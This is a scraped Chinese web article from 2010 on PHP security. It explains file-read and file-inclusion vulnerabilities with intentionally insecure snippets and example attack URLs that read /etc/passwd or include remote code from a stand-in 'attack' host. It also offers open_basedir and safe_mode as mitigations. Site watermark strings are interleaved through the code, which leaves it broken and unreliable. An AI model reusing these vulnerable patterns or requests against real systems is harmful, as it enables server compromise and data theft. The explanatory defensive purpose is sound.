排名推广
排名推广
发布信息
发布信息
会员中心
会员中心
 
 
当前位置: 首页 » 资讯 » 网络知识 » 正文

PHP安全讨论

放大字体  缩小字体 发布日期:2010-04-05  浏览次数:446
核心提示:PHP安全讨论PHP语言提供了强大的功能,但由于编程者在语言设计上不严谨,也容易产生安全漏洞. 以下分如下情况做一分

PHP安全讨论

PHP语言提供了强大的功能,但由于编程者在语言设计上不严谨,也容易产生安全漏洞.

 

以下分如下情况做一分析.一般会举例分析代码片段,然后说明解决方案.其中涉及到具体的PHP函数,请参考相应书籍.

 

1.文件打开cnow.net/ 4JX

1.1极易受攻击的代码片断: http://www.acnow.net/ 4JX
//test_2.php
http://www.acnow.net/ 4JX
if (!($str = readfile("$filename"))) {
http://www.acnow.net/ y7l3Bl
echo("Could not open <I>file:</I> $filename
http://www.acnow.net/ y7l3Bl
\n");
http://www.acnow.net/ y7l3Bl
exit;
http://www.acnow.net/ y7l3Bl
}
http://www.acnow.net/ y7l3Bl
else {
http://www.acnow.net/ y7l3Bl
echo $str;
http://www.acnow.net/ y7l3Bl
}
http://www.acnow.net/ y7l3Bl
?>

1.2产生的安全问题:

由于攻击者可以指定任意的$filename,攻击者用如下的请求就可以看到/etc/passwd

t/ 4JXhttp://victim/test_2.php?filename=/etc/passwd
/如下请求可以读php文件本身:
  hthttp://victim/test_2.php?filename=test_2.php
http://www.acnow.net/ 4JX
1.3产生安全问题的原因:

PHP中文件打开函数还有fopen(), file()等,如果对文件名变量检查不严就会造成服务器重要文件被访问读取。
http://www.acnow.net/ 4JX

1.4解决方法:
http://w
如非特殊需要,把php的文件操作限制在web目录里面。以下是修改apache配置文件httpd.conf的一个例子:
ht
php_admin_value open_basedir /usr/local/apache/htdocs
重启apache后,/usr/local/apache/htdocs目录下的PHP脚本就只能操作它自己目录下的文件了,否则PHP就会报错:
Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx.
您也可以使用safe_mode模式来能避免这种问题。
http://www.acnow.net/ 4JX

2
、包含文件

2.1极易受攻击的代码片断:
//test_3.php
if(file_exists($filename))
http://www.acnow.net/ y7l3Bl

include("$filename");
http://www.acnow.net/ y7l3Bl
?>
2.2产生的安全问题
   这种不负责任的代码会造成相当大的危害,攻击者用如下请求可以得到/etc/passwd文件:
http://victim/test_3.php?filename=/etc/passwd
   如果对于Unix版的PHPWin版的PHP不支持远程打开文件)攻击者可以在自己开了httpftp服务的机器上建立一个包含shell命令的文件,如http://attack/attack.txt的内容是,那么如下的请求就可以在目标主机执行命令ls /etc
http://victim/test_3.php?filename=http://attack/attack.txt
   攻击者甚至可以通过包含apache的日志文件access.logerror.log来得到执行命令的代码,不过由于干扰信息太多,有时不易成功。 http://www.acnow.net/ y7l3Bl

 

2.3产生安全问题的另一种代码形式,如下代码片断:
//test_4.php
include("$lib/config.php");
http://www.acnow.net/ y7l3Bl

?>
攻击者可以在自己的主机建立一个包含执行命令代码的config.php文件,然后用如下请求也可以在目标主机执行命令:
http://victim/test_4.php?lib=http://attack  
 

 
 
[ 资讯搜索 ]  [ 加入收藏 ]  [ 告诉好友 ]  [ 打印本文 ]  [ 关闭窗口 ]

 
0条 [查看全部]  相关评论